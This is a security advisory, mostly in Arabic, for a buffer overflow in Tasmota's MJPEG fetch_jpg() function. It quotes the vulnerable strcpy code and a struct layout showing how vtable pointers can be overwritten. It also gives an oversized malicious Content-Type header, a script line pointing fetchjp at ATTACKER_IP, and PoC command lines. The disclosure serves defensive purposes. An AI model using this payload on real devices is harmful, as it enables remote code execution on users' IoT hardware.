
CVE-2026-38426 — تجاوز سعة المخزن المؤقت للمكدس في strcpy() في دالة fetch_jpg() في Tasmota boundary[40] (Tasmota <= 15.3.0.3)
CVE: CVE-2026-38426
Severity: حرج (CVSS 9.8)
Product: Arendst Tasmota
Affected Version: <= 15.3.0.3
File: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Function: fetch_jpg() — الحالة 0 (الاتصال الأولي)
Author: Saidakbarxon Maxsudxonov
Disclosure: مسؤول — تم الإبلاغ إلى Tasmota قبل النشر
توجد ثغرة أمنية كلاسيكية لتجاوز سعة المخزن المؤقت لـ strcpy() في دالة fetch_jpg() الخاصة بمشغل السكريبت في Tasmota. يتم نسخ سلسلة حدود MJPEG المستخرجة من رأس استجابة HTTP Content-Type إلى مخزن مؤقت ثابت بحجم 40 بايت (boundary[40]) دون أي التحقق من الطول. يمكن للمهاجم الذي يتحكم في خادم HTTP لـ MJPEG توفير سلسلة حدود أطول من 39 حرفًا لتجاوز سعة المخزن المؤقت وإفساد ذاكرة الكومة المجاورة — مما قد يؤدي إلى تنفيذ تعليمات برمجية عن بُعد على ESP32.
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
struct JPG_TASK {
char boundary[40]; // ← FIXED SIZE — only 40 bytes!
bool draw;
uint8_t scale;
uint16_t xp;
uint16_t yp;
WiFiClient stream; // contains vtable pointer
HTTPClient http; // contains vtable pointer
} jpg_task;
// Case 0: initial connection
String boundary = http.header("Content-Type");
// Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
strcpy(glob_script_mem.jpg_task.boundary, cp + 1); // NO LENGTH CHECK — OVERFLOW!
}
struct JPG_TASK layout:
+0x00 boundary[40] ← overflow starts here
+0x28 draw (bool) ← corrupted
+0x29 scale (uint8_t) ← corrupted
+0x2A xp (uint16_t) ← corrupted
+0x2C yp (uint16_t) ← corrupted
+0x2E WiFiClient ← vtable ptr overwritten → RCE
+0x7E HTTPClient ← vtable ptr overwritten → RCE
Overwriting the WiFiClient or HTTPClient vtable pointer with an attacker-controlled value triggers RCE when any virtual method (read(), write(), connect()) is subsequently called.
يقوم المهاجم بتشغيل خادم HTTP يتصل به Tasmota عبر fetchjp(). يرد الخادم برأس Content-Type يحتوي على سلسلة حدود أطول من 39 حرفًا:
HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Tasmota's strcpy() copies 50+ bytes into the 40-byte boundary buffer, overflowing into adjacent struct fields.
التشغيل عبر سكريبت Tasmota:
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info
انظر CVE-2026-38426_poc.py للتنفيذ الكامل.